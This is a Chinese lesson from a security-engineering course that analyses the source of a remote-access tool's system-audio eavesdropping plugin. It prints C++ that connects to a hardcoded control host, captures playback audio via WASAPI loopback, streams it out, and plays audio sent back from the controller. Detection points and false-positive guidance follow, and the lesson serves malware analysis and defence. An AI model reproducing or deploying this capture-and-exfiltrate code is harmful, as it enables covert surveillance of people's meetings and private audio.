37 / 52 音视频、代理与系统扩展

第 37 课:主插件:播放监听

# 第 37 课:主插件:播放监听

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课讲 主插件\播放监听。它采集的不是麦克风,而是 Windows 默认播放端点的回环数据,也就是系统正在播放出来的声音。浏览器网页声音、会议软件声音、播放器声音、系统提示音,都可能进入这个链路。

本课只做源码阅读和防御分析,不提供任何非法监听、控制或规避检测的方法。

# 1. 先把概念讲清楚

播放监听和语音监听的区别,是本课最重要的前置概念。

对比项 播放监听 语音监听
声音来源 默认播放端点,也就是系统输出声音 麦克风或录音线路
关键 API WASAPI IAudioClient + AUDCLNT_STREAMFLAGS_LOOPBACK waveInOpenwaveInStart
是否等于开麦克风 是或接近麦克风输入
用户感知 不一定触发麦克风提示 更容易触发麦克风权限或指示
风险重点 采集会议、网页、播放器、系统播放声音 采集环境声、说话声

新手可以把 WASAPI loopback 理解成“从扬声器输出链路旁边接一份数据”。它不需要麦克风参与,但仍然可能采集敏感内容,所以企业侧必须按隐私风险处理。

1. 先把概念讲清楚(配图)

# 2. 涉及源码

路径 作用
主插件\播放监听\播放监听\播放监听.cpp 插件入口,连接主控后创建 CSpeakerManager
主插件\播放监听\播放监听\SpeakerManager.h/.cpp 命令分发,协调采集方向和渲染方向
主插件\播放监听\播放监听\AudioCapture.h/.cpp 从默认播放端点做 WASAPI loopback 采集
主插件\播放监听\播放监听\AudioRender.h/.cpp 把收到的音频数据写入本机播放端点

本模块没有额外第三方音频库,主要依赖 Windows 自带的 WASAPI COM 接口。检测时应重点关注 MMDeviceEnumeratorIAudioClientIAudioCaptureClientAUDCLNT_STREAMFLAGS_LOOPBACKTOKEN_SPEAK_DATA 的组合。

# 3. 为什么要拆成 Manager、Capture、Render

这节课不要一上来就看 IAudioClient。先看类的分工,后面代码就顺了。

负责什么 新手理解
CSpeakerManager 收主控命令,决定启动采集还是启动播放 调度中心
CAudioCapture 从系统播放端点读取声音,发送给主控 上行方向
CAudioRenderImpl 接收主控发来的音频,写入本机播放缓冲 下行方向

源码里命名容易让人困惑:GetSpeakerDate 是采集对象,SetSpeakerDate 是渲染对象。读代码时不要被名字带偏,要看它们调用的是 AudioCapture 还是 AudioRender

# 4. 插件入口:连接后创建 CSpeakerManager

入口模式和其他主插件类似:先创建 socket,连接成功后创建 Manager,再进入网络事件循环。

// 源码位置:主插件\播放监听\播放监听\播放监听.cpp:7-44
struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo = { "plugmark", _T("iamasbcx.asuscomm.com"), 6000, 1, 0 };

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;

    // 根据配置选择 TCP 或 UDP。这里不是音频逻辑,只是插件通用连接入口。
    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        // 连接成功后才创建 CSpeakerManager。
        // 防御分析:外联成功、随后初始化 WASAPI loopback,是本课的核心关联链。
        CSpeakerManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

# 5. 命令枚举:先看 token 含义

// 源码位置:主插件\播放监听\播放监听\SpeakerManager.h:7-13
enum
{
    TOKEN_SPEAK_STOP,        // 停止播放监听采集方向
    TOKEN_SEND_SPEAK_START,  // 启动渲染方向:把收到的音频写到本机播放端点
    TOKEN_SEND_SPEAK_STOP,   // 停止渲染方向
    TOKEN_SPEAK_DATA,        // 音频数据包,既可能是采集上行,也可能是渲染输入
};

// 防御分析:这里的 token 名字不够直观。
// 读代码时要结合分支里的对象判断方向:
// GetSpeakerDate 代表 CAudioCapture,上行采集;
// SetSpeakerDate 代表 CAudioRenderImpl,下行渲染。
1
2
3
4
5
6
7
8
9
10
11
12
13

# 6. Manager 如何编排采集和播放

CSpeakerManager 构造时先主动发一个 TOKEN_SPEAK_START。后续主控再通过 token 控制采集、停止或渲染。

// 源码位置:主插件\播放监听\播放监听\SpeakerManager.cpp:9-80
CSpeakerManager::CSpeakerManager(ISocketBase* ClientObject) : CManager(ClientObject)
{
    m_buser = FALSE;
    m_CSpeakerManager = this;
    ClientObjectsec = ClientObject;

    // 构造后立即告诉主控:播放监听插件已经就绪。
    // 防御分析:这类 1 字节状态 token 可作为协议还原时的会话起点。
    BYTE bToken = TOKEN_SPEAK_START;
    Send((LPBYTE)&bToken, 1);

    m_buser = TRUE;
}

void CSpeakerManager::OnReceive(LPBYTE lpBuffer, UINT ulLength)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    switch (lpBuffer[0])
    {
    case TOKEN_SPEAK_DATA:
        // 收到远端音频数据时,只有渲染器已经启动,才写入本机播放缓冲。
        // 防御分析:这是下行播放方向,不是 loopback 采集方向。
        if (SetSpeakerDate.IsRendering())
            SetSpeakerDate.PlayBuffer((LPBYTE)lpBuffer, ulLength);
        break;

    case TOKEN_SPEAK_START:
        // 启动采集方向:从默认播放端点做 loopback 读取,并把数据发出。
        if (!GetSpeakerDate.IsCapturing())
        {
            // WASAPI 是 COM 接口,线程使用前需要 CoInitialize。
            CoInitialize(NULL);
            GetSpeakerDate.Initialize((void*)this);
            GetSpeakerDate.Start();
        }
        break;

    case TOKEN_SPEAK_STOP:
        // 停止采集方向,释放播放端点和线程资源。
        if (GetSpeakerDate.IsCapturing())
        {
            GetSpeakerDate.Stop();
            GetSpeakerDate.Destroy();
            CoUninitialize();
        }
        break;

    case TOKEN_SEND_SPEAK_START:
        // 启动渲染方向:准备把收到的数据播放出来。
        if (!SetSpeakerDate.IsRendering())
        {
            CoInitialize(NULL);
            SetSpeakerDate.Initialize();
            SetSpeakerDate.Start();
        }
        break;

    case TOKEN_SEND_SPEAK_STOP:
        if (SetSpeakerDate.IsRendering())
        {
            SetSpeakerDate.Stop();
            SetSpeakerDate.Destroy();
        }
        break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

这段代码解释了为什么要拆成两个对象:采集方向和渲染方向用的都是播放端点,但一个读、一个写,生命周期也不同。把它们拆开,Manager 只负责按 token 调度。

# 7. loopback 采集第一步:找到默认播放端点

CAudioCapture::Initialize 不读取数据,只做准备工作:保存 Manager 指针,创建默认播放设备对象,创建停止事件。

// 源码位置:主插件\播放监听\播放监听\AudioCapture.cpp:22-37
BOOL CAudioCapture::Initialize(void* pthis)
{
    if (m_bInited)
        return TRUE;

    // pSpeakerManager 用于后面把采集到的数据发回网络层。
    // 防御分析:这里建立了“音频采集对象 -> 网络 Manager”的回调关系。
    pSpeakerManager = pthis;
    m_pDevice = NULL;

    IMMDeviceEnumerator* pMMDeviceEnumerator = NULL;
    HRESULT hr = CoCreateInstance(
        __uuidof(MMDeviceEnumerator),
        NULL,
        CLSCTX_ALL,
        __uuidof(IMMDeviceEnumerator),
        (void**)&pMMDeviceEnumerator);
    if (FAILED(hr))
        return FALSE;

    // eRender 表示播放端点,不是麦克风输入端点。
    // eConsole 表示默认控制台播放设备,通常是当前默认扬声器或耳机。
    hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &m_pDevice);
    pMMDeviceEnumerator->Release();
    if (m_pDevice == NULL)
        return FALSE;

    // 停止事件用于让采集线程退出 WaitForMultipleObjects。
    m_hEventStop = CreateEvent(NULL, TRUE, FALSE, NULL);
    if (m_hEventStop == NULL)
        return FALSE;

    m_bInited = TRUE;
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

这里的关键点是 eRender。如果是麦克风输入,通常会看到 eCapture 或 waveIn API;本课看到的是播放端点回环。

# 8. loopback 采集第二步:初始化 IAudioClient

8. loopback 采集第二步:初始化 IAudioClient(配图)

真正进入采集的是 CaptureAudio。它激活 IAudioClient,读取混音格式,把格式调整成 16 bit,然后用 AUDCLNT_STREAMFLAGS_LOOPBACK 初始化。

// 源码位置:主插件\播放监听\播放监听\AudioCapture.cpp:39-70
UINT CaptureAudio(CAudioCapture* pthis)
{
    IAudioClient* pAudioClient = NULL;
    IAudioCaptureClient* pAudioCaptureClient = NULL;
    WAVEFORMATEX* pwfx = NULL;
    HANDLE hTimerWakeUp = NULL;
    DWORD nTaskIndex = 0;
    HANDLE hTask = NULL;

    // senddate 是网络发送缓冲,首字节放 TOKEN_SPEAK_DATA。
    LPBYTE senddate = new BYTE[MAX_SEND_BUFFER * 4];

    do
    {
        // 1. 从默认播放设备激活 IAudioClient。
        // 防御分析:这说明进程开始直接操作 Windows 音频端点。
        HRESULT hr = pthis->m_pDevice->Activate(
            __uuidof(IAudioClient),
            CLSCTX_ALL,
            NULL,
            (void**)&pAudioClient);
        if (FAILED(hr)) break;

        REFERENCE_TIME hnsDefaultDevicePeriod(0);
        hr = pAudioClient->GetDevicePeriod(&hnsDefaultDevicePeriod, NULL);
        if (FAILED(hr)) break;

        // 2. 获取系统混音格式。默认可能是 float 或 extensible 格式。
        hr = pAudioClient->GetMixFormat(&pwfx);
        if (FAILED(hr)) break;

        // 3. 源码把格式调整成 16 bit PCM,便于后续按固定字节数发送。
        if (!FormatTo16Bits(pwfx)) break;

        hTimerWakeUp = CreateWaitableTimer(NULL, FALSE, NULL);
        if (hTimerWakeUp == NULL) break;

        // 4. 最关键的一行:AUDCLNT_STREAMFLAGS_LOOPBACK。
        // 它表示读取播放端点回环数据,而不是从麦克风读取。
        // 防御分析:这是播放监听区别于语音监听的核心静态和行为特征。
        hr = pAudioClient->Initialize(
            AUDCLNT_SHAREMODE_SHARED,
            AUDCLNT_STREAMFLAGS_LOOPBACK,
            0,
            0,
            pwfx,
            0);
        if (FAILED(hr)) break;

        // 5. 取得 IAudioCaptureClient,用它从播放端点读取数据包。
        hr = pAudioClient->GetService(
            __uuidof(IAudioCaptureClient),
            (void**)&pAudioCaptureClient);
        if (FAILED(hr)) break;

        // 6. 把线程登记为多媒体 Capture 线程,降低音频卡顿。
        // 防御分析:Capture 线程名和 loopback 初始化出现在同一进程中,是重要线索。
        hTask = AvSetMmThreadCharacteristics(_T("Capture"), &nTaskIndex);
        if (NULL == hTask) break;

        hr = pAudioClient->Start();
        if (FAILED(hr)) break;

        // 后续进入循环读取音频包。
    } while (FALSE);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

为什么要这么设计?因为系统播放声音不是“文件”,也不是普通 socket 数据;它存在于 Windows 音频引擎的共享混音流里。WASAPI loopback 是读取这条混音流的标准方式,所以代码必须先拿端点、再激活 IAudioClient、再用 loopback 初始化、最后用 IAudioCaptureClient 取包。

# 9. loopback 采集第三步:定时取包并发送

采集线程不是一次性读取全部声音,而是按音频设备周期定时醒来。每次醒来后,看是否有新包,有就取出并封成 TOKEN_SPEAK_DATA

// 源码位置:主插件\播放监听\播放监听\AudioCapture.cpp:71-111
UINT32 nNextPacketSize = 0;
BYTE* pData = NULL;
UINT32 nNumFramesToRead = 0;
DWORD dwFlags = 0;
int sendzise = 0;

// 设备周期的一半作为定时器间隔,减少延迟。
// 防御分析:这会形成稳定、持续的小块上行流量。
LARGE_INTEGER liFirstFire;
liFirstFire.QuadPart = -hnsDefaultDevicePeriod / 2;
LONG lTimeBetweenFires = (LONG)hnsDefaultDevicePeriod / 2 / (10 * 1000);
SetWaitableTimer(hTimerWakeUp, &liFirstFire, lTimeBetweenFires, NULL, NULL, FALSE);

HANDLE waitArray[2] = { pthis->m_hEventStop, hTimerWakeUp };
while (TRUE)
{
    DWORD dwWaitResult = WaitForMultipleObjects(2, waitArray, FALSE, INFINITE);
    if (!pthis->m_hThreadCapture)
        break;

    // 先问 WASAPI 是否有下一包。
    HRESULT hr = pAudioCaptureClient->GetNextPacketSize(&nNextPacketSize);
    if (FAILED(hr))
        break;
    if (nNextPacketSize == 0)
        continue;

    // 读取播放端点回环数据。
    // pData 指向系统音频引擎提供的缓冲,ReleaseBuffer 之前不要长期保存这个指针。
    hr = pAudioCaptureClient->GetBuffer(
        &pData,
        &nNumFramesToRead,
        &dwFlags,
        NULL,
        NULL);
    if (FAILED(hr))
        break;

    if (0 != nNumFramesToRead)
    {
        // 发送长度 = 帧数 * 每帧字节数 + 1 字节 token。
        sendzise = nNumFramesToRead * pwfx->nBlockAlign + 1;

        // 首字节是本工程协议 token,后面是 PCM 音频数据。
        // 防御分析:网络侧看到稳定小包时,应结合主机侧 loopback 事件一起判断。
        senddate[0] = TOKEN_SPEAK_DATA;
        memcpy(senddate + 1, pData, sendzise - 1);

        pAudioCaptureClient->ReleaseBuffer(nNumFramesToRead);

        ((CSpeakerManager*)(pthis->pSpeakerManager))->Send(
            (LPBYTE)senddate,
            sendzise);
    }
    else
    {
        pAudioCaptureClient->ReleaseBuffer(nNumFramesToRead);
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

这一段就是播放监听的数据出口。企业检测不要只看网络,也不要只看音频 API,而要做时间关联:某进程初始化 loopback 后,是否马上出现持续小包上行。

# 10. 启停线程为什么这样写

// 源码位置:主插件\播放监听\播放监听\AudioCapture.cpp:113-140
UINT __stdcall CaptureTheadPro(LPVOID param)
{
    CAudioCapture* pthis = (CAudioCapture*)param;

    // 采集线程内部再次 CoInitialize,保证 WASAPI COM 调用在线程内可用。
    CoInitialize(NULL);
    UINT nRet = CaptureAudio(pthis);
    CoUninitialize();

    return nRet;
}

BOOL CAudioCapture::Start()
{
    if (!m_bInited)
        return FALSE;

    // 单独开线程是为了避免音频采集阻塞网络事件循环。
    // 防御分析:多媒体采集线程和外联线程共存,是行为画像的一部分。
    m_hThreadCapture = (HANDLE)_beginthreadex(NULL, 0, &CaptureTheadPro, this, 0, NULL);
    return TRUE;
}

void CAudioCapture::Stop()
{
    if (!m_bInited)
        return;

    if (m_hThreadCapture != NULL && m_hEventStop != NULL)
    {
        // 通过事件让采集循环退出。
        SetEvent(m_hEventStop);

        // 原源码直接 CloseHandle,没有 WaitForSingleObject 等待线程退出。
        // 防御分析:这是稳定性风险,可能造成资源释放和线程退出不同步。
        CloseHandle(m_hThreadCapture);
        m_hThreadCapture = NULL;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

从工程设计角度看,采集放在线程里是合理的;但更稳妥的实现应等待线程退出后再释放端点和缓冲,避免资源生命周期不清晰。

# 11. 渲染方向:收到音频后写入本机播放缓冲

11. 渲染方向:收到音频后写入本机播放缓冲(配图)

本课主线是播放监听,但源码还实现了一个反方向能力:接收主控发来的音频数据,然后通过 IAudioRenderClient 播放出来。它和 loopback 采集不是同一回事。

// 源码位置:主插件\播放监听\播放监听\AudioRender.cpp:23-37
BOOL CAudioRenderImpl::Initialize()
{
    if (m_bInited)
        return TRUE;

    IMMDeviceEnumerator* pMMDeviceEnumerator = NULL;
    HRESULT hr = CoCreateInstance(
        __uuidof(MMDeviceEnumerator),
        NULL,
        CLSCTX_ALL,
        __uuidof(IMMDeviceEnumerator),
        (void**)&pMMDeviceEnumerator);
    if (FAILED(hr))
        return NULL;

    // 渲染方向同样拿默认播放端点,但它是写数据,不是 loopback 读数据。
    hr = pMMDeviceEnumerator->GetDefaultAudioEndpoint(eRender, eConsole, &m_pDevice);
    pMMDeviceEnumerator->Release();
    if (m_pDevice == NULL)
        return FALSE;

    m_hEventStop = CreateEvent(NULL, TRUE, FALSE, NULL);
    if (m_hEventStop == NULL)
        return FALSE;

    m_bInited = TRUE;
    return m_bInited;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// 源码位置:主插件\播放监听\播放监听\AudioRender.cpp:40-97,184-190
UINT RenderAudio(CAudioRenderImpl* pthis)
{
    IAudioClient* pAudioClient = NULL;
    IAudioRenderClient* pAudioRenderClient = NULL;

    // 初始化为 EVENTCALLBACK 模式,音频引擎需要数据时触发事件。
    // 这和采集方向的 LOOPBACK 标志不同。
    pAudioClient->Initialize(
        AUDCLNT_SHAREMODE_SHARED,
        AUDCLNT_STREAMFLAGS_EVENTCALLBACK,
        0,
        0,
        pwfx,
        0);

    pAudioClient->GetService(__uuidof(IAudioRenderClient), (void**)&pAudioRenderClient);
    AvSetMmThreadCharacteristics(_T("Playback"), &nTaskIndex);

    while (TRUE)
    {
        // 等待播放引擎请求更多数据。
        WaitForMultipleObjects(sizeof(waitArray) / sizeof(waitArray[0]), waitArray, FALSE, INFINITE);

        // 根据当前 padding 判断还需要写多少帧。
        pAudioClient->GetCurrentPadding(&nFramesOfPadding);
        nNeedDataLen = nFrameBufferSize - nFramesOfPadding;
        pAudioRenderClient->GetBuffer(nNeedDataLen, &pData);

        EnterCriticalSection(&pthis->cs);
        bufferlen = pthis->m_WriteBuffer.GetBufferLen();
        audiolen = nNeedDataLen * pwfx->nBlockAlign;

        // 从 m_WriteBuffer 读取网络侧写入的数据,再交给播放端点。
        if (bufferlen > audiolen && (!IsBadWritePtr(pData, audiolen)))
            pthis->m_WriteBuffer.Read(pData, audiolen);

        if (bufferlen > 5000)
            pthis->m_WriteBuffer.ClearBuffer();
        LeaveCriticalSection(&pthis->cs);

        pAudioRenderClient->ReleaseBuffer(nNeedDataLen, 0);
    }
}

BOOL CAudioRenderImpl::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
{
    EnterCriticalSection(&cs);

    // 跳过首字节 token,只写入音频 payload。
    // 防御分析:这说明 TOKEN_SPEAK_DATA 既是协议标识,也是音频包边界。
    m_WriteBuffer.Write(szBuffer + 1, dwBufferSize - 1);

    LeaveCriticalSection(&cs);
    return true;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

排查时要区分两种情况:看到 IAudioRenderClient 只能说明进程向播放端点写数据;看到 AUDCLNT_STREAMFLAGS_LOOPBACK + IAudioCaptureClient + TOKEN_SPEAK_DATA 上行,才是本课的播放监听主链路。

# 12. 数据流总结

主控命令
  -> CSpeakerManager::OnReceive
    -> TOKEN_SPEAK_START
      -> CAudioCapture::Initialize
        -> GetDefaultAudioEndpoint(eRender, eConsole)
        -> IAudioClient::Initialize(... LOOPBACK ...)
        -> IAudioCaptureClient::GetBuffer
        -> TOKEN_SPEAK_DATA + PCM
        -> CSpeakerManager::Send
1
2
3
4
5
6
7
8
9
主控音频包
  -> CSpeakerManager::OnReceive
    -> TOKEN_SPEAK_DATA
      -> CAudioRenderImpl::PlayBuffer
        -> m_WriteBuffer
        -> IAudioRenderClient::GetBuffer
        -> 本机播放端点
1
2
3
4
5
6
7

# 13. 风险面拆解

13. 风险面拆解(配图)

风险面 表现 防御关注点
隐私内容 会议、网页、播放器、系统声音 是否有用户授权和业务理由
采集方式 WASAPI loopback 是否为白名单软件
网络形态 音频小包持续上行 目的地、频率、进程身份
用户感知 不一定触发麦克风提示 需要额外的终端行为检测
合规影响 可能录到第三方声音或客户信息 访问记录、授权和保存期限

# 14. 企业检测点

14. 企业检测点(配图)

检测层 建议检测点
主机侧 MMDeviceEnumeratorGetDefaultAudioEndpoint(eRender, eConsole)
API 侧 IAudioClient::Initialize 使用 AUDCLNT_STREAMFLAGS_LOOPBACK
线程侧 AvSetMmThreadCharacteristics("Capture")、采集线程持续运行
内存侧 PCM 小块缓冲、TOKEN_SPEAK_DATA 发送缓冲
网络侧 loopback 初始化后出现持续小包上行
进程侧 非会议、非录屏、非音频软件访问播放端点
合规侧 是否有明确授权、提示、工单和日志

# 15. 误报来源

误报来源 排查方式
录屏软件 是否由用户启动,是否有录屏窗口和保存路径
会议软件 是否处于会议时间,是否签名可信
音频增强软件 是否常驻且来自可信厂商
浏览器 是否存在网页录音或屏幕共享权限
合规远程协助工具 是否在工单授权时间内,是否有用户可见提示

# 16. 合法练习题

  1. 只读源码,画出 TOKEN_SPEAK_START -> CAudioCapture -> IAudioCaptureClient -> Send 的链路。
  2. 解释 eRendereCapture 的区别,并说明本课为什么关注 eRender
  3. 根据 AudioCapture.cpp,列出 loopback 采集必须连续出现的三个 API 特征。
  4. 设计一条检测逻辑:非白名单进程初始化 loopback 后,在 30 秒内持续向外发送小包。
  5. 对比下一课语音监听,说明 AUDCLNT_STREAMFLAGS_LOOPBACKwaveInOpen 分别代表什么声音来源。

# 17. 本课小结

播放监听模块的主线是 WASAPI loopback:CSpeakerManager 接收命令,CAudioCapture 找到默认播放端点,用 AUDCLNT_STREAMFLAGS_LOOPBACK 读取系统正在播放的声音,再封成 TOKEN_SPEAK_DATA 发送。源码还包含一个渲染方向,用 CAudioRenderImpl 把收到的音频写入本机播放端点。

防御时要抓组合信号:非授权进程、播放端点回环初始化、IAudioCaptureClient::GetBuffer、持续小包上行和异常外联目的地。单独看到 WASAPI 或音频播放行为不够,多个信号在同一时间窗出现才值得优先复核。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>